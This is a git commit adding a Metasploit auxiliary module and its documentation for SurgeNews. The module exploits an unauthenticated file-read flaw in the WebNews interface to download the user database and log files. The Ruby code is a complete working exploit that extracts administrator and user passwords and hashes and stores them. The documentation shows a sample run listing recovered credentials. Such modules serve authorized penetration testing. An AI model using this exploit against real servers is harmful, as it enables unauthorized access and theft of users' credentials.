Add SurgeNews User Credentials scanner module

bug/bundler_fix
Brendan Coles 2017-06-17 01:49:47 +00:00
parent 9ce0bb9345
commit b82051757d
2 changed files with 263 additions and 0 deletions

View File

@ -0,0 +1,70 @@
## Description
This module exploits a vulnerability in the WebNews web interface of SurgeNews on TCP ports 9080 and 8119 which allows unauthenticated users to download arbitrary files from the software root directory; including the user database, configuration files and log files.
This module extracts the administrator username and password, and the usernames and passwords or password hashes for all users.
## Vulnerable Application
[SurgeNews](http://netwinsite.com/surgenews/) is a high performance, fully threaded, next generation News Server with integrated WebNews interface.
This module has been tested successfully on:
* SurgeNews version 2.0a-13 on Windows 7 SP 1.
* SurgeNews version 2.0a-12 on Ubuntu Linux.
Installers:
* [SurgeNews Installers](http://netwinsite.com/cgi-bin/keycgi.exe?cmd=download&product=surgenews)
## Verification Steps
1. Start `msfconsole`
2. Do: `use auxiliary/scanner/http/surgenews_user_creds`
3. Do: `set rhosts [IP]`
4. Do: `run`
5. You should get credentials
## Scenarios
```
msf > use auxiliary/scanner/http/surgenews_user_creds
msf auxiliary(surgenews_user_creds) > set rhosts 172.16.191.133 172.16.191.166
rhosts => 172.16.191.133 172.16.191.166
msf auxiliary(surgenews_user_creds) > run
[+] Found administrator credentials (admin:admin)
SurgeNews User Credentials
==========================
Username Password Password Hash Admin
-------- -------- ------------- -----
admin admin true
qwerty@bt {ssha}BuFLjIFUUSy1IltX3AuN420qV2ZFU7EL false
user@bt {ssha}HFTkDsnNlLiaHN+sIS9VQarVGGXmYISn false
[+] Credentials saved in: /root/.msf4/loot/20170616185817_default_172.16.191.133_surgenews.user.c_633569.txt
[*] Scanned 1 of 2 hosts (50% complete)
[+] Found administrator credentials (test:test)
[+] Found user credentials (zxcv@win-sgbsd5tqutq:zxcv)
SurgeNews User Credentials
==========================
Username Password Password Hash Admin
-------- -------- ------------- -----
asdf@win-sgbsd5tqutq {ssha}8ytixKjxf3kaBc6T471R1Re/C8MUnKnF false
test test true
test@win-sgbsd5tqutq {ssha}Vw8EkFxAJuiZrb98Fz+sdr/yEEmBZ2Jc false
test@win-sgbsd5tqutq {ssha}j4teSf4CgA3+XVRJscFHyqoOQJRoLg4K false
zxcv@win-sgbsd5tqutq zxcv false
[+] Credentials saved in: /root/.msf4/loot/20170616185817_default_172.16.191.166_surgenews.user.c_077983.txt
[*] Scanned 2 of 2 hosts (100% complete)
[*] Auxiliary module execution completed
```

View File

@ -0,0 +1,193 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner
include Msf::Exploit::Remote::HttpClient
HttpFingerprint = { :pattern => [ /DManager/ ] }
def initialize(info = {})
super(update_info(
info,
'Name' => 'SurgeNews User Credentials',
'Description' => %q{
This module exploits a vulnerability in the WebNews web interface
of SurgeNews on TCP ports 9080 and 8119 which allows unauthenticated
users to download arbitrary files from the software root directory;
including the user database, configuration files and log files.
This module extracts the administrator username and password, and
the usernames and passwords or password hashes for all users.
This module has been tested successfully on SurgeNews version
2.0a-13 on Windows 7 SP 1 and 2.0a-12 on Ubuntu Linux.
},
'License' => MSF_LICENSE,
'References' =>
[
['URL', 'http://news.netwinsite.com:8119/webnews?cmd=body&item=34896&group=netwin.surgemail'],
],
'Author' => 'Brendan Coles <bcoles[at]gmail.com>',
'DisclosureDate' => 'Jun 16 2017'))
register_options [ Opt::RPORT(9080) ]
deregister_options 'RHOST'
end
def max_retries
3
end
def check_host(ip)
@tries = 0
res = read_file 'install.log'
if res =~ /SurgeNews/
return Exploit::CheckCode::Vulnerable
end
Exploit::CheckCode::Safe
end
def read_file(file)
data = nil
@tries += 1
vprint_status "Retrieving file: #{file}"
res = send_request_cgi 'uri' => normalize_uri(target_uri.path, 'webnews'),
'vars_get' => { 'cmd' => 'part', 'fname' => file }
if !res
vprint_error 'Connection failed'
elsif res.code == 550
vprint_error "Could not find file '#{file}'"
elsif res.code == 200 && res.body =~ /550 Key: No key activated/
# unregistered software throws an error once in every ~20 requests
# try again...
if @tries >= max_retries
vprint_error "Failed to retrieve file '#{file}' after max retries (#{max_retries})"
else
vprint_status 'Retrying...'
return read_file file
end
elsif res.code == 200 && !res.body.empty?
vprint_good "Found #{file} (#{res.body.length} bytes)"
data = res.body
else
vprint_error 'Unexpected reply'
end
@tries = 0
data
end
def parse_log(log_data)
return if log_data.nil?
username = log_data.scan(/value_set\(manager\)\((.*)\)/).flatten.reject { |c| c.to_s.empty? }.last
password = log_data.scan(/value_set\(password\)\((.*)\)/).flatten.reject { |c| c.to_s.empty? }.last
{ 'username' => username, 'password' => password }
end
def parse_user_db(user_data)
return if user_data.nil?
creds = []
user_data.lines.each do |line|
next if line.eql? ''
if line =~ /^(.+?):(.*):Groups=/
user = $1
pass = $2
# clear text credentials are prefaced with '*'
if pass.starts_with? '*'
creds << { 'username' => user, 'password' => pass[1..-1] }
# otherwise its a hash
else
creds << { 'username' => user, 'hash' => pass }
end
end
end
creds
end
def run_host(ip)
@tries = 0
service_data = { address: rhost,
port: rport,
service_name: (ssl ? 'https' : 'http'),
protocol: 'tcp',
workspace_id: myworkspace_id }
cred_table = Rex::Text::Table.new 'Header' => 'SurgeNews User Credentials',
'Indent' => 1,
'Columns' => ['Username', 'Password', 'Password Hash', 'Admin']
# Read administrator password from password.log
admin = parse_log read_file 'password.log'
# If password.log doesn't contain credentials
# then the password hasn't been updated since install.
# Retrieve the credentials from install.log instead.
admin = parse_log read_file 'install.log' if admin.nil?
if admin.nil?
vprint_error 'Found no administrator credentials'
else
print_good "Found administrator credentials (#{admin['username']}:#{admin['password']})"
cred_table << [admin['username'], admin['password'], nil, true]
credential_data = { origin_type: :service,
module_fullname: fullname,
private_type: :password,
private_data: admin['password'],
username: admin['username'] }
credential_data.merge! service_data
credential_core = create_credential credential_data
login_data = { core: credential_core,
access_level: 'Administrator',
status: Metasploit::Model::Login::Status::UNTRIED }
login_data.merge! service_data
create_credential_login login_data
end
# Read user credentials from nwauth.add
users = parse_user_db read_file 'nwauth.add'
if users.nil?
vprint_error 'Found no user credentials in nwauth.add'
else
vprint_status "Found #{users.length} users in nwauth.add"
end
users.each do |user|
next if user.empty?
cred_table << [user['username'], user['password'], user['hash'], false]
if user['password']
print_good "Found user credentials (#{user['username']}:#{user['password']})"
credential_data = { origin_type: :service,
module_fullname: fullname,
private_type: :password,
private_data: user['password'],
username: user['username'] }
else
credential_data = { origin_type: :service,
module_fullname: fullname,
private_type: :nonreplayable_hash,
private_data: user['hash'],
username: user['username'] }
end
credential_data.merge! service_data
credential_core = create_credential credential_data
login_data = { core: credential_core,
access_level: 'User',
status: Metasploit::Model::Login::Status::UNTRIED }
login_data.merge! service_data
create_credential_login login_data
end unless users.nil?
print_line
print_line cred_table.to_s
p = store_loot 'surgenews.user.creds', 'text/csv', rhost, cred_table.to_csv, 'SurgeNews User Credentials'
print_good "Credentials saved in: #{p}"
end
end